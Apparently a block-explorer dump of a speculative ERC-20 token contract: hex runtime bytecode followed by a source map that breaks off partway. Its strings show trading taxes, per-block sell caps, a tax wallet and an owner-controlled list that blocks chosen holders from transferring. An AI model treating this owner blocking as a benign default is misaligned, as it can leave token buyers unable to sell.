b031614610513575f5ffd5b305f9081526001602052604090205480156105315761053181611358565b47801561054157610541816114c8565b5050565b6005546001600160a01b0316336001600160a01b031614610564575f5ffd5b4761056e816114c8565b50565b5f546001600160a01b031633146105a35760405162461bcd60e51b815260040161059a906119b2565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106145760405162461bcd60e51b815260040161059a906119b2565b5f5b815181101561054157600160045f848481518110610636576106366119e7565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610616565b5f546001600160a01b031633146106985760405162461bcd60e51b815260040161059a906119b2565b6106a46009600a61198d565b6106b3906461f313f88061199b565b600e556106c26009600a61198d565b6106d1906461f313f88061199b565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107016009600a61198d565b610710906461f313f88061199b565b60405190815260200160405180910390a1565b6005546001600160a01b0316336001600160a01b031614610742575f5ffd5b6040516370a0823160e01b81523060048201525f906107c3906064906107bd9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610793573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b791906119fb565b906114ff565b90611584565b60055460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af1158015610815573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108399190611a12565b50505050565b5f610462338484610d7e565b5f546001600160a01b031633146108745760405162461bcd60e51b815260040161059a906119b2565b5f5b8151811015610541575f60045f848481518110610895576108956119e7565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610876565b5f546001600160a01b031633146108f75760405162461bcd60e51b815260040161059a906119b2565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905561092930335f19610c5b565b61093f306103c560646107bd605f6107b761046c565b5061096a73d8da6bf26964af9d7eed9e03e53415d37aa960456103c560646107bd60036107b761046c565b5060125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109bb573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109df9190611a31565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a3e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a629190611a31565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610aac573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ad09190611a31565b601380546001600160a01b0319166001600160a01b03928316179055601254610afd913091165f19610c5b565b6012546001600160a01b031663f305d7194730610b2e816001600160a01b03165f9081526001602052604090205490565b5f5f610b415f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ba7573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bcc9190611a4c565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610c21573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c459190611a12565b506013805460ff60a81b1916600160a81b179055565b6001600160a01b038316610cbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059a565b6001600160a01b038216610d1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610de25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059a565b6001600160a01b038216610e445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059a565b5f8111610ea55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059a565b5f80546001600160a01b03858116911614801590610ed057505f546001600160a01b03848116911614155b156111e3576001600160a01b0384165f9081526004602052604090205460ff16158015610f1557506001600160a01b0383165f9081526004602052604090205460ff16155b610f1d575f5ffd5b6013546001600160a01b038581169116148015610f4857506012546001600160a01b03848116911614155b8015610f6c57506001600160a01b0383165f9081526003602052604090205460ff16155b1561107a57600e54821115610fc35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161059a565b600f5482610fe5856001600160a01b03165f9081526001602052604090205490565b610fef9190611a77565b111561103d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161059a565b61106360646107bd600a54600d54116110585760065461105c565b6008545b85906114ff565b600d80549192505f61107483611a8a565b91905055505b6013546001600160a01b0384811691161480156110a057506001600160a01b0384163014155b156110cd576110ca60646107bd600b54600d54116110c05760075461105c565b60095485906114ff565b90505b305f90815260016020526040902054601354600160a01b900460ff1615801561110357506013546001600160a01b038581169116145b80156111185750601354600160a81b900460ff165b8015611125575060105481115b80156111345750600c54600d54115b156111e157601554431115611148575f6014555b60036014541061119a5760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b21000000000000000000604482015260640161059a565b6111b76111b2846111ad846011546115c5565b6115c5565b611358565b4780156111c7576111c7476114c8565b60148054905f6111d683611a8a565b909155505043601555505b505b801561125b57305f9081526001602052604090205461120290826115d9565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112529085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461127d9083611637565b6001600160a01b0385165f908152600160205260409020556112c06112a28383611637565b6001600160a01b0385165f90815260016020526040902054906115d9565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113098585611637565b60405190815260200160405180910390a350505050565b5f81848411156113435760405162461bcd60e51b815260040161059a91906116a4565b505f61134f8486611aa2565b95945050505050565b6013805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061139e5761139e6119e7565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f5573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114199190611a31565b8160018151811061142c5761142c6119e7565b6001600160a01b0392831660209182029290920101526012546114529130911684610c5b565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061148a9085905f90869030904290600401611ab5565b5f604051808303815f87803b1580156114a1575f5ffd5b505af11580156114b3573d5f5f3e3d5ffd5b50506013805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610541573d5f5f3e3d5ffd5b5f825f0361150e57505f610466565b5f611519838561199b565b9050826115268583611b25565b1461157d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161059a565b9392505050565b5f61157d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611678565b5f8183116115d3578261157d565b50919050565b5f806115e58385611a77565b90508381101561157d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161059a565b5f61157d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611320565b5f81836116985760405162461bcd60e51b815260040161059a91906116a4565b505f61134f8486611b25565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461056e575f5ffd5b80356116f8816116d9565b919050565b5f5f6040838503121561170e575f5ffd5b8235611719816116d9565b946020939093013593505050565b5f5f5f60608486031215611739575f5ffd5b8335611744816116d9565b92506020840135611754816116d9565b929592945050506040919091013590565b5f60208284031215611775575f5ffd5b813561157d816116d9565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156117a4575f5ffd5b813567ffffffffffffffff8111156117ba575f5ffd5b8201601f810184136117ca575f5ffd5b803567ffffffffffffffff8111156117e4576117e4611780565b8060051b604051601f19603f830116810181811067ffffffffffffffff8211171561181157611811611780565b60405291825260208184018101929081018784111561182e575f5ffd5b6020850194505b8385101561185457611846856116ed565b815260209485019401611835565b509695505050505050565b5f5f60408385031215611870575f5ffd5b823561187b816116d9565b9150602083013561188b816116d9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156118e5578085048111156118c9576118c9611896565b60018416156118d757908102905b60019390931c9280026118ae565b935093915050565b5f826118fb57506001610466565b8161190757505f610466565b816001811461191d576002811461192757611943565b6001915050610466565b60ff84111561193857611938611896565b50506001821b610466565b5060208310610133831016604e8410600b8410161715611966575081810a610466565b6119725f1984846118aa565b805f190482111561198557611985611896565b029392505050565b5f61157d60ff8416836118ed565b808202811582820484141761046657610466611896565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a0b575f5ffd5b5051919050565b5f60208284031215611a22575f5ffd5b8151801515811461157d575f5ffd5b5f60208284031215611a41575f5ffd5b815161157d816116d9565b5f5f5f60608486031215611a5e575f5ffd5b5050815160208301516040909301519094929350919050565b8082018082111561046657610466611896565b5f60018201611a9b57611a9b611896565b5060010190565b8181038181111561046657610466611896565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611b055783516001600160a01b0316835260209384019390920191600101611ade565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611b3f57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c5be6a68163603cf2f0fc7011ff9938f518354cdd8170f6e2478afbb765824a364736f6c634300081c0033
Deployed Bytecode Sourcemap
3931:9558:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6003:91;;;;;;;;;;-1:-1:-1;6077:5:0;;;;;;;;;;;;-1:-1:-1;;;6077:5:0;;;;6003:91;;;;;;;:::i;:::-;;;;;;;;6954:173;;;;;;;;;;-1:-1:-1;6954:173:0;;;;;:::i;:::-;;:::i;:::-;;;1249:14:1;;1242:22;1224:41;;1212:2;1197:18;6954:173:0;1084:187:1;5121:55:0;;;;;;;;;;;;;;;;;;;1422:25:1;;;1410:2;1395:18;5121:55:0;1276:177:1;6316:103:0;;;;;;;;;;;;;:::i;7139:329::-;;;;;;;;;;-1:-1:-1;7139:329:0;;;;;:::i;:::-;;:::i;6213:91::-;;;;;;;;;;-1:-1:-1;6213:91:0;;4829:1;2113:36:1;;2101:2;2086:18;6213:91:0;1971:184:1;11543:89:0;;;;;;;;;;-1:-1:-1;11543:89:0;;;;;:::i;:::-;-1:-1:-1;;;;;11613:7:0;11590:4;11613:7;;;:4;:7;;;;;;;;;11543:89;12883:384;;;;;;;;;;;;;:::i;:::-;;13279:203;;;;;;;;;;;;;:::i;6431:127::-;;;;;;;;;;-1:-1:-1;6431:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6528:18:0;6497:7;6528:18;;;:9;:18;;;;;;;6431:127;2904:160;;;;;;;;;;;;;:::i;11166:181::-;;;;;;;;;;-1:-1:-1;11166:181:0;;;;;:::i;:::-;;:::i;10870:172::-;;;;;;;;;;;;;:::i;4915:56::-;;;;;;;;;;;;;;;;12589:282;;;;;;;;;;-1:-1:-1;12589:282:0;;;;;:::i;:::-;;:::i;2662:87::-;;;;;;;;;;-1:-1:-1;2700:7:0;2731:6;2662:87;;-1:-1:-1;;;;;2731:6:0;;;3822:51:1;;3810:2;3795:18;2662:87:0;3676:203:1;4982:58:0;;;;;;;;;;;;;;;;6106:95;;;;;;;;;;-1:-1:-1;6182:7:0;;;;;;;;;;;;-1:-1:-1;;;6182:7:0;;;;6106:95;;6600:179;;;;;;;;;;-1:-1:-1;6600:179:0;;;;;:::i;:::-;;:::i;11359:172::-;;;;;;;;;;-1:-1:-1;11359:172:0;;;;;:::i;:::-;;:::i;5051:59::-;;;;;;;;;;;;;;;;11644:892;;;;;;;;;;;;;:::i;6791:151::-;;;;;;;;;;-1:-1:-1;6791:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;6903:18:0;;;6872:7;6903:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6791:151;6954:173;7029:4;7050:39;289:10;7073:7;7082:6;7050:8;:39::i;:::-;-1:-1:-1;7111:4:0;6954:173;;;;;:::o;6316:103::-;6369:7;4891:13;4829:1;4891:2;:13;:::i;:::-;4876:28;;:12;:28;:::i;:::-;6393:14;;6316:103;:::o;7139:329::-;7237:4;7258:36;7268:6;7276:9;7287:6;7258:9;:36::i;:::-;7309:121;7318:6;289:10;7340:89;7378:6;7340:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7340:19:0;;;;;;:11;:19;;;;;;;;289:10;7340:33;;;;;;;;;;:37;:89::i;:::-;7309:8;:121::i;:::-;-1:-1:-1;7452:4:0;7139:329;;;;;:::o;12883:384::-;12951:10;;-1:-1:-1;;;;;12951:10:0;289;-1:-1:-1;;;;;12937:24:0;;12929:33;;;;;;13016:4;12977:20;6528:18;;;:9;:18;;;;;;13040:14;;13037:79;;13070:30;13087:12;13070:16;:30::i;:::-;13149:21;13188:12;;13185:71;;13216:24;13229:10;13216:12;:24::i;:::-;12914:353;;12883:384::o;13279:203::-;13347:10;;-1:-1:-1;;;;;13347:10:0;289;-1:-1:-1;;;;;13333:24:0;;13325:33;;;;;;13402:21;13438:32;13402:21;13438:12;:32::i;:::-;13310:172;13279:203::o;2904:160::-;2805:6;;-1:-1:-1;;;;;2805:6:0;289:10;2805:22;2797:67;;;;-1:-1:-1;;;2797:67:0;;;;;;;:::i;:::-;;;;;;;;;3015:1:::1;2999:6:::0;;2978:40:::1;::::0;-1:-1:-1;;;;;2999:6:0;;::::1;::::0;2978:40:::1;::::0;3015:1;;2978:40:::1;3050:1;3033:19:::0;;-1:-1:-1;;;;;;3033:19:0::1;::::0;;2904:160::o;11166:181::-;2805:6;;-1:-1:-1;;;;;2805:6:0;289:10;2805:22;2797:67;;;;-1:-1:-1;;;2797:67:0;;;;;;;:::i;:::-;11245:6:::1;11240:96;11261:5;:12;11257:1;:16;11240:96;;;11316:4;11299;:14;11304:5;11310:1;11304:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11299:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11299:14:0;:21;;-1:-1:-1;;11299:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;11275:3:0::1;11240:96;;10870:172:::0;2805:6;;-1:-1:-1;;;;;2805:6:0;289:10;2805:22;2797:67;;;;-1:-1:-1;;;2797:67:0;;;;;;;:::i;:::-;4891:13:::1;4829:1;4891:2;:13;:::i;:::-;4876:28;::::0;:12:::1;:28;:::i;:::-;10924:12;:22:::0;4891:13:::1;4829:1;4891:2;:13;:::i;:::-;4876:28;::::0;:12:::1;:28;:::i;:::-;10961:14;:22:::0;11003:27:::1;4891:13;4829:1;4891:2;:13;:::i;:::-;4876:28;::::0;:12:::1;:28;:::i;:::-;11003:27;::::0;1422:25:1;;;1410:2;1395:18;11003:27:0::1;;;;;;;10870:172::o:0;12589:282::-;12691:10;;-1:-1:-1;;;;;12691:10:0;289;-1:-1:-1;;;;;12677:24:0;;12669:33;;;;;;12735:41;;-1:-1:-1;;;12735:41:0;;12770:4;12735:41;;;3822:51:1;12717:15:0;;12735:63;;12794:3;;12735:54;;12781:7;;-1:-1:-1;;;;;12735:26:0;;;;;3795:18:1;;12735:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45;;:54::i;:::-;:58;;:63::i;:::-;12839:10;;12813:46;;-1:-1:-1;;;12813:46:0;;-1:-1:-1;;;;;12839:10:0;;;12813:46;;;6924:51:1;6991:18;;;6984:34;;;12717:81:0;;-1:-1:-1;12813:25:0;;;;;6897:18:1;;12813:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12654:217;12589:282;;:::o;6600:179::-;6678:4;6699:42;289:10;6723:9;6734:6;6699:9;:42::i;11359:172::-;2805:6;;-1:-1:-1;;;;;2805:6:0;289:10;2805:22;2797:67;;;;-1:-1:-1;;;2797:67:0;;;;;;;:::i;:::-;11434:6:::1;11429:91;11450:6;:13;11446:1;:17;11429:91;;;11503:5;11485:4;:15;11490:6;11497:1;11490:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11485:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11485:15:0;:23;;-1:-1:-1;;11485:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;11465:3:0::1;11429:91;;11644:892:::0;2805:6;;-1:-1:-1;;;;;2805:6:0;289:10;2805:22;2797:67;;;;-1:-1:-1;;;2797:67:0;;;;;;;:::i;:::-;11715:15:::1;:80:::0;;-1:-1:-1;;;;;;11715:80:0::1;11752:42;11715:80;::::0;;11811:54:::1;11828:4;11835:10;-1:-1:-1::0;;11811:8:0::1;:54::i;:::-;11880:55;11897:4;11904:30;11930:3;11904:21;11922:2;11904:13;:11;:13::i;11880:55::-;;11951:83;11960:42;12004:29;12029:3;12004:20;12022:1;12004:13;:11;:13::i;11951:83::-;;12084:15;;;;;;;;;-1:-1:-1::0;;;;;12084:15:0::1;-1:-1:-1::0;;;;;12084:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12066:55:0::1;;12130:4;12137:15;;;;;;;;;-1:-1:-1::0;;;;;12137:15:0::1;-1:-1:-1::0;;;;;12137:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12066:94;::::0;-1:-1:-1;;;;;;12066:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7759:32:1;;;12066:94:0::1;::::0;::::1;7741:51:1::0;7828:32;;7808:18;;;7801:60;7714:18;;12066:94:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12050:13;:110:::0;;-1:-1:-1;;;;;;12050:110:0::1;-1:-1:-1::0;;;;;12050:110:0;;::::1;;::::0;;12208:15:::1;::::0;12176:68:::1;::::0;12193:4:::1;::::0;12208:15:::1;-1:-1:-1::0;;12176:8:0::1;:68::i;:::-;12259:15;::::0;-1:-1:-1;;;;;12259:15:0::1;:31;12298:21;12329:4;12335:24;12329:4:::0;-1:-1:-1;;;;;6528:18:0;6497:7;6528:18;;;:9;:18;;;;;;;6431:127;12335:24:::1;12360:1;12362;12364:7;2700::::0;2731:6;-1:-1:-1;;;;;2731:6:0;;2662:87;12364:7:::1;12259:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12259:129:0;;;-1:-1:-1;;;;;8193:32:1;;;12259:129:0::1;::::0;::::1;8175:51:1::0;8242:18;;;8235:34;;;;8285:18;;;8278:34;;;;8328:18;;;8321:34;8392:32;;;8371:19;;;8364:61;12372:15:0::1;8441:19:1::0;;;8434:35;8147:19;;12259:129:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12411:13:0::1;::::0;12442:15:::1;::::0;12404:71:::1;::::0;-1:-1:-1;;;12404:71:0;;-1:-1:-1;;;;;12442:15:0;;::::1;12404:71;::::0;::::1;6924:51:1::0;-1:-1:-1;;6991:18:1;;;6984:34;12411:13:0;::::1;::::0;-1:-1:-1;12404:29:0::1;::::0;6897:18:1;;12404:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12491:11:0::1;:18:::0;;-1:-1:-1;;;;12491:18:0::1;-1:-1:-1::0;;;12491:18:0::1;::::0;;11644:892::o;7480:355::-;-1:-1:-1;;;;;7577:19:0;;7569:68;;;;-1:-1:-1;;;7569:68:0;;9422:2:1;7569:68:0;;;9404:21:1;9461:2;9441:18;;;9434:30;9500:34;9480:18;;;9473:62;-1:-1:-1;;;9551:18:1;;;9544:34;9595:19;;7569:68:0;9220:400:1;7569:68:0;-1:-1:-1;;;;;7660:21:0;;7652:68;;;;-1:-1:-1;;;7652:68:0;;9827:2:1;7652:68:0;;;9809:21:1;9866:2;9846:18;;;9839:30;9905:34;9885:18;;;9878:62;-1:-1:-1;;;9956:18:1;;;9949:32;9998:19;;7652:68:0;9625:398:1;7652:68:0;-1:-1:-1;;;;;7735:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7791:32;;1422:25:1;;;7791:32:0;;1395:18:1;7791:32:0;;;;;;;7480:355;;;:::o;7847:2350::-;-1:-1:-1;;;;;7939:18:0;;7931:68;;;;-1:-1:-1;;;7931:68:0;;10230:2:1;7931:68:0;;;10212:21:1;10269:2;10249:18;;;10242:30;10308:34;10288:18;;;10281:62;-1:-1:-1;;;10359:18:1;;;10352:35;10404:19;;7931:68:0;10028:401:1;7931:68:0;-1:-1:-1;;;;;8022:16:0;;8014:64;;;;-1:-1:-1;;;8014:64:0;;10636:2:1;8014:64:0;;;10618:21:1;10675:2;10655:18;;;10648:30;10714:34;10694:18;;;10687:62;-1:-1:-1;;;10765:18:1;;;10758:33;10808:19;;8014:64:0;10434:399:1;8014:64:0;8110:1;8101:6;:10;8093:64;;;;-1:-1:-1;;;8093:64:0;;11040:2:1;8093:64:0;;;11022:21:1;11079:2;11059:18;;;11052:30;11118:34;11098:18;;;11091:62;-1:-1:-1;;;11169:18:1;;;11162:39;11218:19;;8093:64:0;10838:405:1;8093:64:0;8172:17;2731:6;;-1:-1:-1;;;;;8210:15:0;;;2731:6;;8210:15;;;;:32;;-1:-1:-1;2700:7:0;2731:6;-1:-1:-1;;;;;8229:13:0;;;2731:6;;8229:13;;8210:32;8206:1607;;;-1:-1:-1;;;;;8272:10:0;;;;;;:4;:10;;;;;;;;8271:11;:24;;;;-1:-1:-1;;;;;;8287:8:0;;;;;;:4;:8;;;;;;;;8286:9;8271:24;8263:33;;;;;;8347:13;;-1:-1:-1;;;;;8339:21:0;;;8347:13;;8339:21;:55;;;;-1:-1:-1;8378:15:0;;-1:-1:-1;;;;;8364:30:0;;;8378:15;;8364:30;;8339:55;:83;;;;-1:-1:-1;;;;;;8400:22:0;;;;;;:18;:22;;;;;;;;8398:24;8339:83;8335:440;;;8466:12;;8456:6;:22;;8448:60;;;;-1:-1:-1;;;8448:60:0;;11450:2:1;8448:60:0;;;11432:21:1;11489:2;11469:18;;;11462:30;11528:27;11508:18;;;11501:55;11573:18;;8448:60:0;11248:349:1;8448:60:0;8565:14;;8555:6;8539:13;8549:2;-1:-1:-1;;;;;6528:18:0;6497:7;6528:18;;;:9;:18;;;;;;;6431:127;8539:13;:22;;;;:::i;:::-;:40;;8531:79;;;;-1:-1:-1;;;8531:79:0;;11934:2:1;8531:79:0;;;11916:21:1;11973:2;11953:18;;;11946:30;12012:28;11992:18;;;11985:56;12058:18;;8531:79:0;11732:350:1;8531:79:0;8645:76;8717:3;8645:67;8667:15;;8657:9;;:25;8656:55;;8697:14;;8656:55;;;8684:12;;8656:55;8645:6;;:10;:67::i;:76::-;8744:9;:11;;8633:88;;-1:-1:-1;8744:9:0;:11;;;:::i;:::-;;;;;;8335:440;8804:13;;-1:-1:-1;;;;;8798:19:0;;;8804:13;;8798:19;:43;;;;-1:-1:-1;;;;;;8821:20:0;;8836:4;8821:20;;8798:43;8795:182;;;8878:79;8953:3;8878:70;8900:16;;8890:9;;:26;8889:58;;8932:15;;8889:58;;;8918:13;;8878:6;;:10;:70::i;:79::-;8866:91;;8795:182;9046:4;8997:28;6528:18;;;:9;:18;;;;;;9076:6;;-1:-1:-1;;;9076:6:0;;;;9075:7;:30;;;;-1:-1:-1;9092:13:0;;-1:-1:-1;;;;;9086:19:0;;;9092:13;;9086:19;9075:30;:45;;;;-1:-1:-1;9109:11:0;;-1:-1:-1;;;9109:11:0;;;;9075:45;:89;;;;;9147:17;;9124:20;:40;9075:89;:123;;;;;9180:18;;9168:9;;:30;9075:123;9071:727;;;9242:13;;9227:12;:28;9223:98;;;9296:1;9284:9;:13;9223:98;9363:1;9351:9;;:13;9343:49;;;;-1:-1:-1;;;9343:49:0;;12429:2:1;9343:49:0;;;12411:21:1;12468:2;12448:18;;;12441:30;12507:25;12487:18;;;12480:53;12550:18;;9343:49:0;12227:347:1;9343:49:0;9415:69;9432:51;9436:6;9444:38;9448:20;9470:11;;9444:3;:38::i;:::-;9432:3;:51::i;:::-;9415:16;:69::i;:::-;9536:21;9584:22;;9580:114;;9635:35;9648:21;9635:12;:35::i;:::-;9716:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9766:12:0;9750:13;:28;-1:-1:-1;9071:727:0;8244:1569;8206:1607;9832:11;;9829:169;;9902:4;9884:24;;;;:9;:24;;;;;;:39;;9913:9;9884:28;:39::i;:::-;9877:4;9859:24;;;;:9;:24;;;;;;;:64;;;;9943:39;;-1:-1:-1;;;;;9943:39:0;;;;;;;9972:9;1422:25:1;;1410:2;1395:18;;1276:177;9943:39:0;;;;;;;;9829:169;-1:-1:-1;;;;;10028:15:0;;;;;;:9;:15;;;;;;:27;;10048:6;10028:19;:27::i;:::-;-1:-1:-1;;;;;10012:15:0;;;;;;:9;:15;;;;;:43;10084:40;10102:21;:6;10113:9;10102:10;:21::i;:::-;-1:-1:-1;;;;;10084:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10070:13:0;;;;;;;:9;:13;;;;;:54;;;;10144:41;;;10163:21;:6;10174:9;10163:10;:21::i;:::-;10144:41;;1422:25:1;;;1410:2;1395:18;10144:41:0;;;;;;;7916:2281;7847:2350;;;:::o;1434:206::-;1520:7;1560:12;1552:6;;;;1544:29;;;;-1:-1:-1;;;1544:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1588:9:0;1600:5;1604:1;1600;:5;:::i;:::-;1588:17;1434:206;-1:-1:-1;;;;;1434:206:0:o;10327:531::-;5555:6;:13;;-1:-1:-1;;;;5555:13:0;-1:-1:-1;;;5555:13:0;;;10433:16:::1;::::0;;10447:1:::1;10433:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10433:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10433:16:0::1;10409:40;;10482:4;10464;10469:1;10464:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10464:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10512:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10512:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10464:7;;10512:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10502:4;10507:1;10502:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10502:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10581:15:::1;::::0;10549:62:::1;::::0;10566:4:::1;::::0;10581:15:::1;10599:11:::0;10549:8:::1;:62::i;:::-;10626:15;::::0;:220:::1;::::0;-1:-1:-1;;;10626:220:0;;-1:-1:-1;;;;;10626:15:0;;::::1;::::0;:66:::1;::::0;:220:::1;::::0;10711:11;;10626:15:::1;::::0;10761:4;;10792::::1;::::0;10816:15:::1;::::0;10626:220:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5599:6:0;:14;;-1:-1:-1;;;;5599:14:0;;;-1:-1:-1;;;;10327:531:0:o;11054:100::-;11115:10;;:27;;-1:-1:-1;;;;;11115:10:0;;;;:27;;;;;11135:6;;11115:10;:27;:10;:27;11135:6;11115:10;:27;;;;;;;;;;;;;;;;;;;1652:274;1710:7;1738:1;1743;1738:6;1734:55;;-1:-1:-1;1772:1:0;1765:8;;1734:55;1803:9;1815:5;1819:1;1815;:5;:::i;:::-;1803:17;-1:-1:-1;1852:1:0;1843:5;1847:1;1803:17;1843:5;:::i;:::-;:10;1835:56;;;;-1:-1:-1;;;1835:56:0;;14100:2:1;1835:56:0;;;14082:21:1;14139:2;14119:18;;;14112:30;14178:34;14158:18;;;14151:62;-1:-1:-1;;;14229:18:1;;;14222:31;14270:19;;1835:56:0;13898:397:1;1835:56:0;1913:1;1652:274;-1:-1:-1;;;1652:274:0:o;1938:140::-;1996:7;2027:39;2031:1;2034;